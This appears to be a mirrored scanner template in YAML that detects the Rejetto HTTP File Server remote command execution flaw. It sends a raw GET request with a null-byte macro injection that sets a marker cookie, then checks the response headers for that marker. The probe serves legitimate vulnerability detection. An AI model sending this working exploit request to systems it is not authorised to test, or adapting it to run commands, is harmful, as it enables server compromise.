mirror of
https://github.com/SleepingBag945/dddd.git
synced 2025-06-10 10:12:52 +00:00
29 lines
1.1 KiB
YAML
29 lines
1.1 KiB
YAML
id: hfs-rce
|
||
|
||
info:
|
||
name: HFS 远程命令执行漏洞
|
||
author: SleepingBag945
|
||
severity: critical
|
||
description: |
|
||
HTTP File Server是一款专为个人用户所设计的HTTP文件服务器，它提供虚拟档案系统，支持新增、移除虚拟档案资料夹等。
|
||
Rejetto HTTP File Server 2.3c及之前版本中的parserLib.pas文件中的‘findMacroMarker’函数中存在安全漏洞，该漏洞源于parserLib.pas文件没有正确处理空字节。远程攻击者可借助搜索操作中的‘%00’序列利用该漏洞执行任意程序。 product="HFS"
|
||
tags: hfs,rce
|
||
|
||
variables:
|
||
randomword: '{{rand_base(8)}}'
|
||
|
||
http:
|
||
- raw:
|
||
- |
|
||
GET /?search==%00{.cookie|out|value%3d{{randomword}}.} HTTP/1.1
|
||
Host: {{Hostname}}
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
|
||
matchers:
|
||
- type: dsl
|
||
dsl:
|
||
- 'status_code_1 == 200'
|
||
- 'contains(header_1, "{{randomword}}")'
|
||
condition: and |